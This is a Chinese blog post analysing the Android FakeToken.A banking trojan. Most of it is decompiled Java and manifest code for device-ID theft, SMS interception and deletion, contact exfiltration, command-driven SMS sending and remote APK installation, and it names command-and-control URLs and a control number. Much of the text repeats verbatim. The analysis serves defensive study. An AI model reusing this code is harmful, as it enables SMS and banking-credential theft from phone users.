- 浏览: 632068 次
- 性别:
- 来自: 西安
文章分类
最新评论
-
d1438138:
[img][/img]
google api 的一些神奇使用 -
waykingeye:
[i][b][u]引用[list]
[*][img][url] ...
No result defined for action and result input -
tss0823:
...
No result defined for action and result input -
yahier:
有什么办法能够捕捉,然后给出自定义的提示呢
No result defined for action and result input -
chen_lian:
恩恩 按照上面的代码测试一下觉得很对
java创建目录
http://bbs.pediy.com/showthread.php?t=148757
这是我的分析报告,
写道
Android_FakeToken.A_infected_分析报告
1. AndroidManifest.xml分析
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="token.generator"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="4" />
<!-- 大量危险权限,包括了读取电话信息,访问网络,接发短信(估计也是控制端的一种方式),安装程序,开机启动 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INSTALL_PACKAGES" />
<uses-permission android:name="android.permission.DELETE_PACKAGES" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:clearTaskOnLaunch="true"
android:icon="@drawable/icon"
android:label="@string/app_name"
android:name="token.bot.MainApplication" >
<receiver
android:name="token.bot.AlarmReceiver"
android:process=":remote" />
<service
android:label="@string/app_name"
android:name="token.bot.MainService" />
<!-- 高危的receiver,利用开机启动,用户结束锁屏,来电或者去电的状态变化来启动MainService -->
<receiver android:name="token.bot.AutorunReceiver" >
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>
<!-- 短信监控,估计后面代码中会利用sms来做控制命令 -->
<receiver
android:enabled="true"
android:name="token.bot.SmsReciver" >
<intent-filter android:priority="2147483647" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<!—这个是正常程序没什么好说的-->
<activity
android:label="@string/app_name"
android:name="token.bot.MainActivity"
android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="token.bot.UpdateActivity" >
<intent-filter >
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
可以看到这个程序请求了许多权限,其中包括了开机启动,访问网络,读取联系人信息短信,安装等多个危险的权限。其中token.bot.MainActivity启动线程,下面分析。
2 程序结构图
Org那些是simpleframework的一个lib负责xml的一些操作,不用关注。核心是token.bot看名字这个有点像一个手机僵尸网络程序。其中assets下面有一个网页资源。
这个是安装好的图标
打开后生成
界面,这个实际上是一个生成随机数的程序
在程序刚启动的时候,因为配置程序中制定了android:name="token.bot.MainApplication"后所以台会先运行MainApplication,这个主要负责bot系统初始化,得到配置参数。以及一些基础通信功能的实现,代码比较长。我删剪了很多。整个botnet是有两种通信方式1 http post方式发送请求到服务器,通过返回来得到控制命令,2是通过短信窃取资料或者乱发短信。
首先关注MainApplication的onCreate方法,这个方法主要是从raw资源中提取设置,并保存在setting中,最后启动了MainService。而MainService主要负责botnet的程序控制,是核心部分。
Class MainApplication
public void onCreate()
{
PendingIntent pendingintent;
AlarmManager alarmmanager;
StartSettings startsettings;
ServerResponse serverresponse;
super.onCreate();
System.out.println("MainApplication::onCreate()");
//得到android的一些唯一信息,估计是服务端用来区分不同bot的,
//imei是getDeviceId,imsi是getSubscriberId=phone是getLine1Number
imei = Settings.getImei(this);
imsi = Settings.getImsi(this);
phone = Settings.getPhone(this);
settings = new Settings();
//PendingIntent是一种比较特殊的intent,他不是立即生效的,而是一般在一些别的事件生效后再发送
//在这段代码中,实际上它是和一个AlarmManager配合使用,AlarmManager实质是一个定时器,实质就是延时去启动AlarmReceiver
//在AlarmReceiver中,只是简单的调用了MainService.start(paramContext, paramIntent, "alarm");
pendingintent = PendingIntent.getBroadcast(this, 0x193dac6a, new Intent(this, token/bot/AlarmReceiver), 0);
alarmmanager = (AlarmManager)getSystemService("alarm");
//读取配置信息,第一次的时候这个是空的,会报错
if(Settings.load(this))
break MISSING_BLOCK_LABEL_375;
System.out.println("FIRST START!");
//这个文件是比较关键的一个配置文件,保存着初始的Botnet Server信息
/*内容如下
* <?xml version="1.0" encoding="UTF-8" ?>
* <settings><version value="1.0" />
* <sid value="sid_1" />
* <server value="http://icoolshop.ru/cp/server.php" />
* <server value="http://iconsshopbest.com/cp/server.php" />
* <number value="79021121067" />
* <period value="43200" />
* <startPeriod value="60" />
* <serverPrefix value="qe4faf23r4e2" />
* <smsPrefix value="santander" />
* </settings>
*/
//loadStartSettings是负责把这个xml中如上的配置信息读取到startsettings。
//明显我们可以看到botnet域名,看情况是俄罗斯的,
// <server value="http://icoolshop.ru/cp/server.php" />
// <server value="http://iconsshopbest.com/cp/server.php" />
//以及他的控制号码 79021121067
startsettings = loadStartSettings("/res/raw/start.xml");
//下面这里,我没有找到这个raw资源,不知道什么情况,估计上应该是和服务器进行一次通信,得到了catchSmsList(根据后面的代码catachSms应该是SmsItem类,后面会详细解析)和deleteSmsList并把它们保存了起来,
//好像没什么特殊的。
serverresponse = loadStartSettingsFilters("/res/raw/filters.xml");
if(serverresponse.catchSmsList.size() <= 0) goto _L2; else goto _L1
_L1:
int j = 0;
_L7:
if(j < serverresponse.catchSmsList.size()) goto _L3; else goto _L2
_L2:
if(serverresponse.deleteSmsList.size() <= 0) goto _L5; else goto _L4
_L4:
int i = 0;
_L8:
if(i < serverresponse.deleteSmsList.size()) goto _L6; else goto _L5
_L5:
//下面就是把从start.xml和系统中读取到的信息保存起来,保存路径data/data/files/settings
/*内容如下:具体解释在后面
* <settingsSet>
<catchSmsList class="java.util.ArrayList"/>
<deleteSmsList class="java.util.ArrayList"/>
<number>79021121067</number>
<version>1.0</version>
<smsPrefix>santander</smsPrefix>
<sendSmsResultList class="java.util.ArrayList"/>
<serverList class="java.util.ArrayList">
<string>http://icoolshop.ru/cp/server.php</string>
<string>http://iconsshopbest.com/cp/server.php</string>
</serverList>
<serverPrefix>qe4faf23r4e2</serverPrefix>
<sid>sid_1</sid>
<sendInitSms>false</sendInitSms>
<timeConnection>1333182351493</timeConnection>
<period>43200</period>
</settingsSet>
*/
startsettings.printToOutStream();
Settings.saved.version = startsettings.version;
Settings.saved.sid = startsettings.sid;
Settings.saved.serverList = startsettings.serverList;
Settings.saved.number = startsettings.number;
Settings.saved.period = startsettings.period;
Settings.saved.serverPrefix = startsettings.serverPrefix;
Settings.saved.smsPrefix = startsettings.smsPrefix;
Settings.saved.timeConnection = System.currentTimeMillis() + startsettings.startPeriod * (long)Settings.SECOND;
settings.save(this);
_L9:
Settings.saved.printToOutStream();
//发送pendingintent,实质就是在确保配置文件保存成功的情况下,启动MainService
alarmmanager.set(0, Settings.saved.timeConnection, pendingintent);
System.out.println("START OK!");
return;
_L3:
Settings.saved.catchSmsList.add((SmsItem)serverresponse.catchSmsList.get(j));
j++;
goto _L7
_L6:
Settings.saved.deleteSmsList.add((SmsItem)serverresponse.deleteSmsList.get(i));
i++;
goto _L8
if(System.currentTimeMillis() > Settings.saved.timeConnection)
{
Settings.saved.timeConnection = System.currentTimeMillis() + Settings.saved.period * (long)Settings.SECOND;
settings.save(this);
}
goto _L9
}
然后看下启动MainService的代码:这部分主要是包装了一个putExtra(“key”,”alarm”);
MainService.start(paramContext, paramIntent, "alarm");
public static void start(Context paramContext, Intent paramIntent, String paramString)
{
Intent localIntent = new Intent(paramContext, MainService.class);
Bundle localBundle = paramIntent.getExtras();
if (localBundle != null)
localIntent.putExtras(localBundle);
localIntent.putExtra("key", paramString);
paramContext.startService(localIntent);
}
然后启动MainService:标红的意味着两种通信方式,如果是1就是利用http来获取控制命令,post信息。如果是2就是短信窃取,这个是和SmsReciver紧密相关的
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
Bundle localBundle = paramIntent.getExtras();
String str1;
if ((localBundle != null) && (localBundle.get("key") != null))
{
str1 = (String)localBundle.get("key");
if (str1.compareTo("alarm") != 0)
break label67;
new Thread(new ThreadOperation(this, 1, null)).start();
}
while (true)
{
return;
label67: if (str1.compareTo("catch") == 0)
{
String str2 = (String)localBundle.get("number");
String str3 = (String)localBundle.get("text");
String str4 = (String)localBundle.get("id");
String[] arrayOfString = new String[3];
arrayOfString[0] = str2;
arrayOfString[1] = str3;
arrayOfString[2] = str4;
new Thread(new ThreadOperation(this, 2, arrayOfString)).start();
continue;
}
}
}
这个new Thread通过各种包装实际上还是调用了MainService的threadOperationRun方法,其中paramInt就是上面说的通信方式,如果是1的话就调用MainApplication.sendRequest();来获取控制命令,如果是2就通过sendCatchSms(arrayOfString[0], arrayOfString[1]);来发送截获到的制定短信.当然截获到的sms也可以通过post提交的方式发送(MainApplication.sendCatchRequest(arrayOfString[0], arrayOfString[1]);),这两种都有的
http获得response后,利用executeCommands来执行控制命令。
public void threadOperationRun(int paramInt, Object paramObject)
{
ServerResponse localServerResponse2;
if (paramInt == 1)
{
localServerResponse2 = MainApplication.sendRequest();
executeCommands(localServerResponse2);
if (localServerResponse2.wait == 0L)
{
Settings.saved.timeConnection = (System.currentTimeMillis() + Settings.saved.period * Settings.SECOND);
MainApplication.settings.save(this);
Intent localIntent = new Intent(this, AlarmReceiver.class);
PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 423472234, localIntent, 0);
((AlarmManager)getSystemService("alarm")).set(0, Settings.saved.timeConnection, localPendingIntent);
}
}
while (true)
{
return;
Settings.saved.timeConnection = (System.currentTimeMillis() + localServerResponse2.wait * Settings.SECOND);
break;
if (paramInt != 2)
continue;
String[] arrayOfString = (String[])paramObject;
long l = Long.parseLong(arrayOfString[2]);
if (MainApplication.settings.isNeedSendCatchSmsToSms(l))
sendCatchSms(arrayOfString[0], arrayOfString[1]);
ServerResponse localServerResponse1 = MainApplication.sendCatchRequest(arrayOfString[0], arrayOfString[1]);
if (localServerResponse1.removeCurrentCatchFilter)
{
MainApplication.settings.removeCatchFilter(l);
MainApplication.settings.save(this);
Settings.saved.printToOutStream();
}
executeCommands(localServerResponse1);
}
}
下面就是MainApplication.sendRequest()的实质,我删除了大量异常处理和一部分关于短信窃取的代码功能,可以看到每次http请求,实际上就是轮询setting中的serverList,然后对每一个url发送post来获取控制命令。其中发送了imei,imsi,phone以及sid等。
public static ServerResponse sendRequest()
{
int i;
ServerResponse serverresponse1;
ServerResponse serverresponse = new ServerResponse();
i = 0;
serverresponse1 = serverresponse;
_L3:
String s;
HttpURLConnection httpurlconnection;
if(i >= Settings.saved.serverList.size())
return serverresponse1;
s = (String)Settings.saved.serverList.get(i);
httpurlconnection = null;
DataOutputStream dataoutputstream1;
httpurlconnection = (HttpURLConnection)(new URL(s)).openConnection();
httpurlconnection.setDoInput(true);
httpurlconnection.setDoOutput(true);
httpurlconnection.setUseCaches(false);
httpurlconnection.setRequestMethod("POST");
httpurlconnection.setRequestProperty("Content-Type", "multipart/form-data; boundary=AaB03x");
dataoutputstream1 = new DataOutputStream(httpurlconnection.getOutputStream());
StringBuffer stringbuffer;
int j;
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"imei\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(imei);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"imsi\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(imsi);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"phone\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(phone);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"version\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(Settings.saved.version);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"sid\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(Settings.saved.sid);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"type\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("callback");
dataoutputstream1.writeBytes("\r\n");
stringbuffer = new StringBuffer("");
j = 0;
_L4:
}
if(httpurlconnection.getResponseCode() != 200)
break MISSING_BLOCK_LABEL_805;
serverresponse5 = parseResponse(httpurlconnection.getInputStream());
这是对返回的serverresponse的解析与执行:
serverresponse5 = parseResponse(httpurlconnection.getInputStream());
parseResponse()方法我就不细写了,实质就是对返回的inputStream进行解析,由于是采用xml格式进的通信的,实质就是提取http中对应元素信息的过程。
这是解析返回的ServerResponse类格式
public class ServerResponse
{ //catchSmslist主要是用在接收短信过滤上,具体结构在下面,主要会用到SmsItem.number和SmsIteml.text这两个属性,实质就是如果接收到的短信是制定号码发来的或着包含指定内容,我们就认为它是敏感信息短信,而且这是一个list,可以包含多个源号码和敏感信息,而且具体属性中如果是*就表示匹配一切。实际上就是利用http控制方式来更新短信窃取匹配模式
public List<SmsItem> catchSmsList = new ArrayList();
// deleteSmsList结构和上面的一样,具体功能上主要是删除指定格式的短信
public List<SmsItem> deleteSmsList = new ArrayList();
//下面的控制命令是去get一个页面之类的,估计是用来点广告之类,
public List<HttpParam> httpParamList = new ArrayList();
public String httpRequestMethod = "";
public String httpRequestUrl = "";
public String number = "";
public boolean removeAllSmsFilters = false;
public boolean removeAllSmsResults = false;
public boolean removeCurrentCatchFilter = false;
//窃取sendContactList联系人信息,boolean值来表示是否窃取联系人信息
public boolean sendContactList = false;
//实质是需要发送的sms列表,包括了目的phone和内容,这部分难道是要做短信ddos,或者什么乱七八糟的订阅骗钱应用?
public List<SmsItem> sendSmsList = new ArrayList();
public String server = "";
public ScreenItem updateScreen = new ScreenItem();
//需要下载的新的apk文件url
public String updateUrl = "";
public long wait = 0L;
}
public class SmsItem
{ @Attribute
public String id;
@Attribute
public long key;
@Attribute
public String number;
@Element
public String text;
@Attribute
public Boolean toSms;
}
下面就是对ServerResponse的执行过程了。由于对response已经做了如上转换,所以控制命令就直接对着对应属性判断就可以了。其实最主要功能,我已经加红标粗了。就是下载别的apk并安装。
public void executeCommands(ServerResponse paramServerResponse)
{
while (true)
{
int i;
try
{
paramServerResponse.printToOutStream();
if (paramServerResponse.server.length() <= 0)
continue;
//顾名思义,list中添加新的控制服务器,然后保存
Settings.saved.serverList.add(paramServerResponse.server);
MainApplication.settings.save(this);
if (paramServerResponse.number.length() <= 0)
continue;
//顾名思义,添加新的控制服务器电话号码,然后保存
Settings.saved.number = paramServerResponse.number;
MainApplication.settings.save(this);
if (!paramServerResponse.removeAllSmsFilters)
continue;
//下面这些都是对catachSmslist和deleteSmslist以及sendSmsList的操作,前面我讲过了这些属性的作用。其实无非是增加删除,由于都只是列表就不细说了
Settings.saved.deleteSmsList.clear();
MainApplication.settings.save(this);
if (paramServerResponse.catchSmsList.size() <= 0)
continue;
int k = 0;
if (k < paramServerResponse.catchSmsList.size())
continue;
MainApplication.settings.save(this);
if (paramServerResponse.deleteSmsList.size() <= 0)
continue;
int j = 0;
if (j < paramServerResponse.deleteSmsList.size())
continue;
MainApplication.settings.save(this);
if (paramServerResponse.sendSmsList.size() <= 0)
continue;
i = 0;
if (i < paramServerResponse.sendSmsList.size())
continue;
MainApplication.settings.save(this);
if (paramServerResponse.httpRequestUrl.length() <= 0)
continue;
//下面的控制命令是去get一个页面之类的,估计是用来点广告之类,
if (!paramServerResponse.httpRequestMethod.equals("GET"))
continue;
MainApplication.sendGetRequest(paramServerResponse.httpRequestUrl, paramServerResponse.httpParamList);
//窃取sendContactList联系人信息,boolean值来表示是否窃取联系人信息
if (!paramServerResponse.sendContactList)
continue;
MainApplication.sendContactsToServer(this, MainApplication.contactsToXml(MainApplication.getContacts(this)));
if (paramServerResponse.updateUrl.length() <= 0)
continue;
ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
if ((!localConnectivityManager.getNetworkInfo(1).isAvailable()) && (!localConnectivityManager.getNetworkInfo(0).isConnectedOrConnecting()))
continue;
String str = System.currentTimeMillis() + ".apk";
//这部分比较关键,实际上就是根据服务器返回的updateUrl,来去下载对应的apk,在外部sd卡上,并且调用UpdateActivity这个来安装外部apk,不过这里依旧需要用户自己在权限界面点击确定才会安装成功。
if (!MainApplication.DownloadApk(paramServerResponse.updateUrl, str))
continue;
MainApplication.updataApkPath = Environment.getExternalStorageDirectory() + "/download/" + str;
MainApplication.updateScreen = paramServerResponse.updateScreen;
Intent localIntent = new Intent(this, UpdateActivity.class);
localIntent.addFlags(268435456);
startActivity(localIntent);
if (paramServerResponse.removeAllSmsResults)
{
Settings.saved.sendSmsResultList.clear();
MainApplication.settings.save(this);
break label612;
Settings.saved.catchSmsList.add((SmsItem)paramServerResponse.catchSmsList.get(k));
k++;
continue;
Settings.saved.deleteSmsList.add((SmsItem)paramServerResponse.deleteSmsList.get(j));
j++;
continue;
//这部分就是我前面提到的sendSmsList,可以看到这里进行了发送。
SmsItem localSmsItem = (SmsItem)paramServerResponse.sendSmsList.get(i);
if (!sendSms(localSmsItem.number, localSmsItem.text))
continue;
Settings.saved.sendSmsResultList.add(new SendSmsResult(localSmsItem.id, true));
break label613;
Settings.saved.sendSmsResultList.add(new SendSmsResult(localSmsItem.id, false));
}
}
catch (Exception localException)
{
localException.printStackTrace();
break label612;
if (!paramServerResponse.httpRequestMethod.equals("POST"))
continue;
MainApplication.sendPostRequest(paramServerResponse.httpRequestUrl, paramServerResponse.httpParamList);
continue;
}
label612: return;
label613: i++;
}
}
基本上http botnet部分的命令接受与控制就是这个样子了。
其中对catchSmsList和deleteSmslist的利用是在SmsReciver中实现的。实质就是监听了sms的接收,然后进了过滤
public class SmsReciver extends BroadcastReceiver
{
private SmsMessage[] getSmsMessages(Bundle paramBundle)
{
Object[] arrayOfObject = (Object[])paramBundle.get("pdus");
SmsMessage[] arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
for (int i = 0; ; i++)
{
if (i >= arrayOfObject.length)
return arrayOfSmsMessage;
arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
}
}
public void onReceive(Context paramContext, Intent paramIntent)
{
SmsMessage[] arrayOfSmsMessage = getSmsMessages(paramIntent.getExtras());
int i = 0;
int j = 0;
while (true)
{
if ((j < arrayOfSmsMessage.length) || (i != 0));
try
{
abortBroadcast();
return;
SmsMessage localSmsMessage = arrayOfSmsMessage[j];
String str1 = localSmsMessage.getOriginatingAddress();
String str2 = localSmsMessage.getMessageBody();
//匹配catchSmsList
CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2);
if (localCatchResult.result)
//一旦匹配到了sms,就调用MainService.start发送,这个在前面讲到了
MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key);
//匹配deleteSmsList
if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))
i = 1;
j++;
}
catch (Exception localException)
{
while (true)
localException.printStackTrace();
}
}
}
}
如上基本就分析完了这个手机的botnet木马,功能上还是比较齐全的,有点广告功能,更新下载,窃取指定短信,窃取联系人信息,短信盗用发送。采用http post通信控制,数据交互采用xml,每个bot节点根据imsi等来区分。更新上考虑的蛮完备的,包括server名单的更新,CC电话的更新,需要窃取信息格式的更新等等。
但是不幸的是,这两个域名不知道是被墙了还是挂了还是怎么着,反正我现在解析不能,所以动态的一些分析就不做了。从这个bot程序来看,手机上botnet应该是已经起步了
<string>http://icoolshop.ru/cp/server.php</string>
<string>http://iconsshopbest.com/cp/server.php</string>
1. AndroidManifest.xml分析
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="token.generator"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="4" />
<!-- 大量危险权限,包括了读取电话信息,访问网络,接发短信(估计也是控制端的一种方式),安装程序,开机启动 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INSTALL_PACKAGES" />
<uses-permission android:name="android.permission.DELETE_PACKAGES" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:clearTaskOnLaunch="true"
android:icon="@drawable/icon"
android:label="@string/app_name"
android:name="token.bot.MainApplication" >
<receiver
android:name="token.bot.AlarmReceiver"
android:process=":remote" />
<service
android:label="@string/app_name"
android:name="token.bot.MainService" />
<!-- 高危的receiver,利用开机启动,用户结束锁屏,来电或者去电的状态变化来启动MainService -->
<receiver android:name="token.bot.AutorunReceiver" >
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>
<!-- 短信监控,估计后面代码中会利用sms来做控制命令 -->
<receiver
android:enabled="true"
android:name="token.bot.SmsReciver" >
<intent-filter android:priority="2147483647" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<!—这个是正常程序没什么好说的-->
<activity
android:label="@string/app_name"
android:name="token.bot.MainActivity"
android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="token.bot.UpdateActivity" >
<intent-filter >
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
可以看到这个程序请求了许多权限,其中包括了开机启动,访问网络,读取联系人信息短信,安装等多个危险的权限。其中token.bot.MainActivity启动线程,下面分析。
2 程序结构图
Org那些是simpleframework的一个lib负责xml的一些操作,不用关注。核心是token.bot看名字这个有点像一个手机僵尸网络程序。其中assets下面有一个网页资源。
这个是安装好的图标
打开后生成
界面,这个实际上是一个生成随机数的程序
在程序刚启动的时候,因为配置程序中制定了android:name="token.bot.MainApplication"后所以台会先运行MainApplication,这个主要负责bot系统初始化,得到配置参数。以及一些基础通信功能的实现,代码比较长。我删剪了很多。整个botnet是有两种通信方式1 http post方式发送请求到服务器,通过返回来得到控制命令,2是通过短信窃取资料或者乱发短信。
首先关注MainApplication的onCreate方法,这个方法主要是从raw资源中提取设置,并保存在setting中,最后启动了MainService。而MainService主要负责botnet的程序控制,是核心部分。
Class MainApplication
public void onCreate()
{
PendingIntent pendingintent;
AlarmManager alarmmanager;
StartSettings startsettings;
ServerResponse serverresponse;
super.onCreate();
System.out.println("MainApplication::onCreate()");
//得到android的一些唯一信息,估计是服务端用来区分不同bot的,
//imei是getDeviceId,imsi是getSubscriberId=phone是getLine1Number
imei = Settings.getImei(this);
imsi = Settings.getImsi(this);
phone = Settings.getPhone(this);
settings = new Settings();
//PendingIntent是一种比较特殊的intent,他不是立即生效的,而是一般在一些别的事件生效后再发送
//在这段代码中,实际上它是和一个AlarmManager配合使用,AlarmManager实质是一个定时器,实质就是延时去启动AlarmReceiver
//在AlarmReceiver中,只是简单的调用了MainService.start(paramContext, paramIntent, "alarm");
pendingintent = PendingIntent.getBroadcast(this, 0x193dac6a, new Intent(this, token/bot/AlarmReceiver), 0);
alarmmanager = (AlarmManager)getSystemService("alarm");
//读取配置信息,第一次的时候这个是空的,会报错
if(Settings.load(this))
break MISSING_BLOCK_LABEL_375;
System.out.println("FIRST START!");
//这个文件是比较关键的一个配置文件,保存着初始的Botnet Server信息
/*内容如下
* <?xml version="1.0" encoding="UTF-8" ?>
* <settings><version value="1.0" />
* <sid value="sid_1" />
* <server value="http://icoolshop.ru/cp/server.php" />
* <server value="http://iconsshopbest.com/cp/server.php" />
* <number value="79021121067" />
* <period value="43200" />
* <startPeriod value="60" />
* <serverPrefix value="qe4faf23r4e2" />
* <smsPrefix value="santander" />
* </settings>
*/
//loadStartSettings是负责把这个xml中如上的配置信息读取到startsettings。
//明显我们可以看到botnet域名,看情况是俄罗斯的,
// <server value="http://icoolshop.ru/cp/server.php" />
// <server value="http://iconsshopbest.com/cp/server.php" />
//以及他的控制号码 79021121067
startsettings = loadStartSettings("/res/raw/start.xml");
//下面这里,我没有找到这个raw资源,不知道什么情况,估计上应该是和服务器进行一次通信,得到了catchSmsList(根据后面的代码catachSms应该是SmsItem类,后面会详细解析)和deleteSmsList并把它们保存了起来,
//好像没什么特殊的。
serverresponse = loadStartSettingsFilters("/res/raw/filters.xml");
if(serverresponse.catchSmsList.size() <= 0) goto _L2; else goto _L1
_L1:
int j = 0;
_L7:
if(j < serverresponse.catchSmsList.size()) goto _L3; else goto _L2
_L2:
if(serverresponse.deleteSmsList.size() <= 0) goto _L5; else goto _L4
_L4:
int i = 0;
_L8:
if(i < serverresponse.deleteSmsList.size()) goto _L6; else goto _L5
_L5:
//下面就是把从start.xml和系统中读取到的信息保存起来,保存路径data/data/files/settings
/*内容如下:具体解释在后面
* <settingsSet>
<catchSmsList class="java.util.ArrayList"/>
<deleteSmsList class="java.util.ArrayList"/>
<number>79021121067</number>
<version>1.0</version>
<smsPrefix>santander</smsPrefix>
<sendSmsResultList class="java.util.ArrayList"/>
<serverList class="java.util.ArrayList">
<string>http://icoolshop.ru/cp/server.php</string>
<string>http://iconsshopbest.com/cp/server.php</string>
</serverList>
<serverPrefix>qe4faf23r4e2</serverPrefix>
<sid>sid_1</sid>
<sendInitSms>false</sendInitSms>
<timeConnection>1333182351493</timeConnection>
<period>43200</period>
</settingsSet>
*/
startsettings.printToOutStream();
Settings.saved.version = startsettings.version;
Settings.saved.sid = startsettings.sid;
Settings.saved.serverList = startsettings.serverList;
Settings.saved.number = startsettings.number;
Settings.saved.period = startsettings.period;
Settings.saved.serverPrefix = startsettings.serverPrefix;
Settings.saved.smsPrefix = startsettings.smsPrefix;
Settings.saved.timeConnection = System.currentTimeMillis() + startsettings.startPeriod * (long)Settings.SECOND;
settings.save(this);
_L9:
Settings.saved.printToOutStream();
//发送pendingintent,实质就是在确保配置文件保存成功的情况下,启动MainService
alarmmanager.set(0, Settings.saved.timeConnection, pendingintent);
System.out.println("START OK!");
return;
_L3:
Settings.saved.catchSmsList.add((SmsItem)serverresponse.catchSmsList.get(j));
j++;
goto _L7
_L6:
Settings.saved.deleteSmsList.add((SmsItem)serverresponse.deleteSmsList.get(i));
i++;
goto _L8
if(System.currentTimeMillis() > Settings.saved.timeConnection)
{
Settings.saved.timeConnection = System.currentTimeMillis() + Settings.saved.period * (long)Settings.SECOND;
settings.save(this);
}
goto _L9
}
然后看下启动MainService的代码:这部分主要是包装了一个putExtra(“key”,”alarm”);
MainService.start(paramContext, paramIntent, "alarm");
public static void start(Context paramContext, Intent paramIntent, String paramString)
{
Intent localIntent = new Intent(paramContext, MainService.class);
Bundle localBundle = paramIntent.getExtras();
if (localBundle != null)
localIntent.putExtras(localBundle);
localIntent.putExtra("key", paramString);
paramContext.startService(localIntent);
}
然后启动MainService:标红的意味着两种通信方式,如果是1就是利用http来获取控制命令,post信息。如果是2就是短信窃取,这个是和SmsReciver紧密相关的
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
Bundle localBundle = paramIntent.getExtras();
String str1;
if ((localBundle != null) && (localBundle.get("key") != null))
{
str1 = (String)localBundle.get("key");
if (str1.compareTo("alarm") != 0)
break label67;
new Thread(new ThreadOperation(this, 1, null)).start();
}
while (true)
{
return;
label67: if (str1.compareTo("catch") == 0)
{
String str2 = (String)localBundle.get("number");
String str3 = (String)localBundle.get("text");
String str4 = (String)localBundle.get("id");
String[] arrayOfString = new String[3];
arrayOfString[0] = str2;
arrayOfString[1] = str3;
arrayOfString[2] = str4;
new Thread(new ThreadOperation(this, 2, arrayOfString)).start();
continue;
}
}
}
这个new Thread通过各种包装实际上还是调用了MainService的threadOperationRun方法,其中paramInt就是上面说的通信方式,如果是1的话就调用MainApplication.sendRequest();来获取控制命令,如果是2就通过sendCatchSms(arrayOfString[0], arrayOfString[1]);来发送截获到的制定短信.当然截获到的sms也可以通过post提交的方式发送(MainApplication.sendCatchRequest(arrayOfString[0], arrayOfString[1]);),这两种都有的
http获得response后,利用executeCommands来执行控制命令。
